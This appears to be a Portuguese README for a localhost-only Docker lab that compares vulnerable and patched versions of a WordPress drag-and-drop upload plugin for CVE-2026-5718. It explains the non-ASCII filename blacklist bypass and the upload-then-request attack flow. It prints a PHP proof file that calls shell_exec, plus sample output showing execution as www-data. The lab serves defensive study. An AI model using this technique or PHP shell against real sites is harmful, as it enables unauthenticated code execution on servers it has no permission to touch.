
Laboratório Docker local (apenas local) que compara a versão vulnerável e a corrigida para CVE-2026-5718, que afeta o plugin WordPress Drag and Drop Multiple File Upload for Contact Form 7.
Este laboratório demonstra a diferença entre a versão vulnerável 1.3.9.6 e a versão corrigida 1.3.9.7 usando uma prova de execução PHP de mínimo dano em um ambiente somente Docker.
Escopo: apenas localhost / rede Docker. Não use este PoC contra sistemas que você não possui ou para os quais não tem permissão explícita de teste.
CVE-2026-5718 é uma vulnerabilidade de upload arbitrário de arquivos no Drag and Drop Multiple File Upload for Contact Form 7 até a versão 1.3.9.6 inclusive.
O problema é acionado quando tipos de lista negra personalizados são configurados e um nome de arquivo contém caracteres não ASCII. Na versão vulnerável, um upload perigoso de .php pode contornar a proteção pretendida e permanecer executável. A versão 1.3.9.7 corrige o problema rejeitando o mesmo upload.
Este repositório executa dois serviços WordPress locais:
vuln em http://localhost:8081 com a versão 1.3.9.6 do pluginpatched em http://localhost:8082 com a versão 1.3.9.7 do pluginHost
├── http://localhost:8081 -> vulnerable WordPress service
└── http://localhost:8082 -> patched WordPress service
Docker network
├── vuln
├── vuln-db
├── patched
└── patched-db
.
├── docker-compose.yml
├── patched
│ └── Dockerfile
├── poc
│ └── poc.py
│ └── requirements.txt
├── scripts
│ └── seed-wordpress.sh
├── vuln
│ └── Dockerfile
O formulário Contact Form 7 preparado contém um campo Drag and Drop Multiple File Upload:
[mfile upload-file filetypes:* blacklist-types:zip limit:1048576]
O PoC envia um arquivo de prova PHP chamado:
proof-β.php
O caractere β não é ASCII. Isso é importante porque a vulnerabilidade depende do tratamento de nomes de arquivo para entradas não ASCII.
Fluxo de alto nível:
PoC
↓
Fetch lab page and extract DnD CF7 AJAX nonce
↓
Upload proof-β.php through wp-admin/admin-ajax.php
↓
Vulnerable 1.3.9.6 accepts and stores the file as .php
↓
PoC requests the uploaded file
↓
Vulnerable lab executes the PHP proof as www-data
Fluxo corrigido:
PoC
↓
Upload the same proof-β.php file
↓
Patched 1.3.9.7 rejects the upload
↓
No PHP file is stored and no code execution occurs
A prova PHP enviada é intencionalmente mínima:
<?php
header('Content-Type: text/plain');
echo "CVE_2026_5718_LOCAL_RCE_PROOF\n";
echo "whoami=" . trim(shell_exec('whoami')) . "\n";
echo "id=" . trim(shell_exec('id')) . "\n";
?>
A prova executa apenas whoami e id para mostrar o contexto de execução. Ela não usa shell reverso, persistência, acesso a credenciais, movimento lateral, varredura de rede nem ações destrutivas.
O serviço vulnerável permite intencionalmente a execução de PHP no diretório de upload do plugin para que o impacto seja observável neste laboratório local. O serviço corrigido mantém o comportamento mais seguro e rejeita o envio na camada de validação da aplicação.
Instale as dependências Python:
python3 -m venv .venv
source .venv/bin/activate
pip install -r poc/requirements.txt
Comece de um estado limpo:
docker compose down -v
docker compose up --build -d
Verifique o status dos serviços:
docker compose ps
Abra as páginas do laboratório:
http://localhost:8081/cve-2026-5718-lab/
http://localhost:8082/cve-2026-5718-lab/
Execute contra o serviço vulnerável:
python poc/poc.py --base-url http://localhost:8081
Execute contra o serviço corrigido:
python poc/poc.py --base-url http://localhost:8082
O PoC aceita apenas alvos localhost ou loopback.
Comportamento esperado:
.php.Exemplo de saída:
Upload response:
{"success":true,"data":{"path":"cve5718proof","file":"proof-\u03b2.php"}}
Proof response:
CVE_2026_5718_LOCAL_RCE_PROOF
whoami=www-data
id=uid=33(www-data) gid=33(www-data) groups=33(www-data)
[result] VULNERABLE behavior observed: uploaded PHP proof executed.
Comportamento esperado:
Exemplo de saída:
Upload response:
{"success":false,"data":"Uploaded file is not allowed for file type"}
[result] Upload rejected by the application.
[result] Reason: Uploaded file is not allowed for file type
Este laboratório é intencionalmente restrito a testes locais.
O PoC:
whoami e id dentro do contêiner vulnerável.O serviço vulnerável flexibiliza a execução de PHP no diretório de upload apenas para tornar a prova local observável. Não copie essa configuração para produção.
Pare os contêineres:
docker compose down
Remova contêineres e volumes:
docker compose down -v
Remova o ambiente virtual Python:
rm -rf .venv
NVD: CVE-2026-5718 https://nvd.nist.gov/vuln/detail/CVE-2026-5718
Aviso da Patchstack: WordPress Drag and Drop Multiple File Upload for Contact Form 7 Plugin <= 1.3.9.6 - Unauthenticated Arbitrary File Upload via Non-ASCII Filename Blacklist Bypass https://patchstack.com/database/wordpress/plugin/drag-and-drop-multiple-file-upload-contact-form-7/vulnerability/wordpress-drag-and-drop-multiple-file-upload-for-contact-form-7-plugin-1-3-9-6-unauthenticated-arbitrary-file-upload-via-non-ascii-filename-blacklist-bypass-vulnerability
Wordfence Intelligence: Drag and Drop Multiple File Upload for Contact Form 7 <= 1.3.9.6 - Unauthenticated Arbitrary File Upload via Non-ASCII Filename Blacklist Bypass https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/drag-and-drop-multiple-file-upload-contact-form-7/drag-and-drop-multiple-file-upload-for-contact-form-7-1396-unauthenticated-arbitrary-file-upload-via-non-ascii-filename-blacklist-bypass
GitHub Advisory Database: GHSA-xj7v-jqv6-v48w https://github.com/advisories/GHSA-xj7v-jqv6-v48w
Página do plugin no WordPress.org: Drag and Drop Multiple File Upload for Contact Form 7 https://wordpress.org/plugins/drag-and-drop-multiple-file-upload-contact-form-7/
Página do fornecedor do plugin: Drag & Drop Multiple File Upload for Contact Form 7 https://www.codedropz.com/drag-drop-multiple-file-upload-for-contact-form-7/
Este repositório é apenas para pesquisa educacional e de segurança defensiva. Ele foi projetado para executar somente em localhost usando Docker. Não use o PoC contra sistemas públicos ou de terceiros.
| Service | Finalidade | Porta do Host | Versão |
|---|
vuln | Laboratório WordPress vulnerável | 8081 | Plugin 1.3.9.6 |
patched | Laboratório WordPress corrigido | 8082 | Plugin 1.3.9.7 |
vuln-db | Banco de dados MySQL do serviço vulnerável | interno | MySQL 8.0 |
patched-db | Banco de dados MySQL do serviço corrigido | interno | MySQL 8.0 |